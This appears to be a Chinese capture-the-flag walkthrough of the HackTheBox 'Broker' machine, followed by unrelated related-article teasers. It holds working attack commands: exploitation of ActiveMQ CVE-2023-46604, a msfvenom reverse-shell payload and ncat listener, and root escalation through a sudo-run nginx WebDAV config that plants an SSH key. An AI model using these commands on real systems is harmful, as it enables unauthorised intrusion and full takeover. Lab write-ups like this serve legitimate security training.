HackTheBox-Machines--Broker

文章目录

  • 1 端口扫描
  • 2 测试思路
  • 3 漏洞探测
  • 4 CVE-2023-46604漏洞利用
  • 5.权限提升


Broker 测试过程


1 端口扫描


nmap -sC -sV 10.129.41.28

2 测试思路


  目标开启了22、80、61616端口,在服务器开启了非web及一些需要账号密码进行登录的端口时,我们的入手点从这些端口服务开始,在Broker靶场中,开启了61616端口,并且nmap扫描显示运行5.15.15版本的 Apache ActiveMQ 服务,所以我们先从该服务入手。


3 漏洞探测


  Nmap扫描结果显示 Apache ActiveMQ 服务版本为 5.15.15,搜索该版本是否存已知漏洞。
  发现 5.15.15 存在 CVE-2023-46604 反序列化漏洞,该漏洞允许远程攻击者通过网络访问基于 Java 的 OpenWire 代理或客户端以运行任意命令,通过操作 OpenWire 中的序列化类类型来执行 shell 命令。


4 CVE-2023-46604漏洞利用


1.漏洞利用工具下载

  漏洞利用工具地址https://github.com/X1r0z/ActiveMQ-RCE

在这里插入图片描述

2.使用msfvenom生成一个ELF可执行文件上传并执行

msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.48 LPORT=4444 -f elf -o

在这里插入图片描述

3.修改poc-linux.xml文件中的IP地址,将其修改为我们的服务器地址

在这里插入图片描述

4.本地开启web服务器并开启监听

python3 -m http.server 8001 & ncat -lnvp 4444

5.执行漏洞利用脚本

go run main.go -i 10.129.41.28 -p 61616 -u http://10.10.14.4:8001/CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ/poc-linux.xml

在这里插入图片描述

6.获取到反弹shell
在这里插入图片描述


5.权限提升


# 获取稳定shell
python3 -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述

在这里插入图片描述

1.执行 sudo -l 查看权限

# 显示出自己(执行 sudo 的使用者)的权限
sudo -l

  发现可以使用root身份运行nginx,并且是空密码使用

在这里插入图片描述

   所以此时提权思路是如何利用Nginx从普通权限提升到系统权限.
   在Nginx中,ngx_http_dav_module 模块用于通过 WebDAV 协议进行文件管理自动化。该模块处理 HTTP 和 WebDAV 的 PUT、DELETE、MKCOL、COPY 和 MOVE 方法。

2.自定义配置文件

   更新配置并启用 PUT。Nginx 主进程以 root 用户身份运行,并设置服务器块应侦听传入连接的端口为1337。

# pwn.conf文件内容如下
user root;
worker_processes 4;
pid /tmp/nginx.pid;
events {
worker_connections 768;
}
http {
server {
listen 1337;
root /;
autoindex on;
dav_methods PUT;
}
}
 wget http://10.10.14.4:8001/pwn.conf

在这里插入图片描述

3.通过-c参数使nginx运行该配置文件

sudo nginx -c /tmp/pwn.conf

在这里插入图片描述

4.检查开放端口以证明配置文件是否生效

ss -tlpn

  pwn.conf中配置的监听端口1337生效,配置文件执行成功

在这里插入图片描述

5.生成ssh密钥

ssh-keygen

在这里插入图片描述

6.利用put协议将我的 SSH 公钥写入 root 的 authorized_keys 文件

curl -X PUT localhost:1337/root/.ssh/authorized_keys -d "$(cat root.pub)"

在这里插入图片描述

7.ssh连接root

 ssh -i root root@localhost

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/232460.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

测试用例设计方法六脉神剑——第五剑:化气为型,场景用例破云

📢专注于分享软件测试干货内容,欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正!📢交流讨论:欢迎加入我们一起学习!📢资源分享:耗时200小时精选的「软件测试」资…

08‐Mysql全局优化与Mysql 8.0新特详解

文章目录 Mysql全局优化总结配置文件my.ini或my.cnf的全局参数最大连接数允许用户连接的最大数量MySQL能够暂存的连接数量JDBC连接空闲等待时长client连接空闲等待时长innodb线程并发数innodb存储引擎buffer pool缓存大小行锁锁定时间redo log写入策略binlog写入磁盘机制排序线…

22.JSP技术

JSP起源 在很多动态网页中,绝大部分内容都是固定不变的,只有局部内容需要动态产生和改变。如果使用Servlet程序来输出只有局部内容需要动态改变的网页,其中所有的静态内容也需要程序员用Java程序代码产生,整个Servlet程序的代码将…

12.12困境儿童关注日:共同守护儿童健康成长

2023年12月12日是第十三个困境儿童关注日,困境儿童关注日是在2011年由壹基金、北京师范大学社会发展与公共政策学院家庭与儿童研究中心、浙江大学传媒与国际文化学院中国公益传播研究中心共同发起设立的。儿童是国家的未来、民族的希望,困境儿童尤其需要关心和关注。自11月以来…

WPF 全局异常处理

在Application中存在三种异常事件EventHandler DispatcherUnhandledExceptionAppDomain.CurrentDomain.UnhandledExceptionTaskScheduler.UnobservedTaskException 其中 DispatcherUnhandledException 是在异常由应用程序引发但未进行处理时发生,但无法捕获多线程…

数据结构算法-快速排序算法

核心思路 快速排序算法核心思路 选择一个“基准”元素,将数组分为两个子数组,一个包含比基准小的元素,另一个包含比基准大的元素,然后对这两个子数组进行递归排序。 基准数 初始化两个索引 i 和 j,分别子数组的开头…

2.[BUU]rip

1.检查文件--》checksec 一下 查看之后发现是64位,直接放入IDA64进行反编译。 2.IDA反编译,进行分析 发现是gets()函数可以造成栈溢出,从而可以覆盖栈上的内容。 想法:通过gets函数(栈溢出)来篡改栈上的内…

Java代码解析:初学者的编程入门指南

💂 个人网站:【 海拥】【神级代码资源网站】【办公神器】🤟 基于Web端打造的:👉轻量化工具创作平台💅 想寻找共同学习交流的小伙伴,请点击【全栈技术交流群】 Java作为一门强大而广泛应用的编程语言&#x…

速通Python基础语法--变量篇

Python设计哲学 解决一个问题,只提供一种方案:变量类型 写法灵活,一行代码表达更多意思,提高语言表达能力:动态类型(两面性) 颜色标识: 紫色:Python与C语言的区别 一、常量与表达式 二、变量 1、认识变量(存数据&am…

国产ToolLLM的课代表---OpenBMB机构(清华NLP)旗下ToolBench的安装部署与运行(附各种填坑说明)

ToolBench项目可以理解为一个能直接提供训练ToolLLM的平台,该平台同时构建了ToolLLM的一个开源训练指令集。,该项目是OpenBMB机构(面壁智能与清华NLP联合成立)旗下的一款产品,OpenBMB机构名下还同时拥有另外一款明星产…

黑豹程序员-HTTP返回状态码

下面是不同状态码返回的信息 最常见的状态码 200 成功 404 链接不正确 500 内部错误,类中抛了异常 400 新增时对象的元素类型转换出错 1、http状态返回代码 100 (继续) 请求者应当继续提出请求。 服务器返回此代码表示已收到请求的第一部…

liteflow规则引擎 执行Groovy脚本

在LiteFlow规则引擎中执行Groovy脚本的步骤相对简单。首先,确保你的项目中包含了LiteFlow的相关依赖。接下来,创建一个Groovy脚本规则,并使用LiteFlow引擎执行它。 以下是一个简单的示例: 添加LiteFlow依赖:在你的项…

HQL的其他优化

CBO优化 CBO是指Cost based Optimizer,即基于计算成本的优化。 在Hive中,计算成本模型考虑到了:数据的行数、CPU、本地IO、HDFS IO、网络IO等方面。Hive会计算同一SQL语句的不同执行计划的计算成本,并选出成本最低的执行计划。目前…

Windows本地搭建开源企业管理套件Odoo并实现公网访问

文章目录 前言1. 下载安装Odoo:2. 实现公网访问Odoo本地系统:3. 固定域名访问Odoo本地系统 前言 Odoo是全球流行的开源企业管理套件,是一个一站式全功能ERP及电商平台。 开源性质:Odoo是一个开源的ERP软件,这意味着企…

Java接收并解析HL7协议数据

一、前言 HL7协议相信医疗行业的IT人员都不陌生,笔者由于接触时间比较短,乍一听“协议”还是比较懵,不自觉就把它和“HTTP”、"SOAP”之类的网络协议挂上关联,可事实上这个HL7只是一种数据格式,传输方式也可以使用…

【十一】python状态设计模式

一、引言 在软件设计中,设计模式是解决常见问题的最佳实践。它们提供了一种重用设计的方法,使得代码更易于理解、维护和扩展。状态设计模式是行为设计模式的一种,它允许对象在其内部状态改变时改变其行为。当控制一个对象的状态转换条件表达…

Mac managing Multiple Python Versions With pyenv 【 mac pyenv 管理多个python 版本 】

文章目录 1. 简介2. 安装2.1 brew 安装 pyenv2.2 脚本安装 3. pyenv 安装 Python4. 卸载 python5. 管理 python 1. 简介 Pyenv 是一个用于管理和切换多个 Python 版本的工具。它允许开发人员在同一台计算机上同时安装和使用多个不同的 Python 版本,而无需对系统进行…

C/C++使用记录

1.使用指定宽度的整数类型 1.1 ISO C99在标准在文件stdint.h中引入了整数类型,格式如下: intN_t //有符号整数 unitN_t //无符号整数 注: N为指定宽度,例如 64位无符号整型:uint64_t 1.2 格式化输入/输出中,格式控…

Elasticsearch 索引生命周期和翻滚 (rollover) 策略

Elasticsearch 是搜索引擎中的摇滚明星,它的蓬勃发展在于使你的数据井井有条且速度快如闪电。 但当你的数据成为一场摇滚音乐会时,管理其生命周期就变得至关重要。 正确使用索引生命周期管理 (ILM) 和 rollover 策略,你的后台工作人员可确保顺…

万户OA text2Html接口存在任意文件读取漏洞

文章目录 产品简介漏洞概述指纹识别漏洞利用修复建议 产品简介 ezoffice是万户网络协同办公产品多年来一直将主要精力致力于中高端市场的一款OA协同办公软件产品,统一的基础管理平台,实现用户数据统一管理、权限统一分配、身份统一认证。统一规划门户网…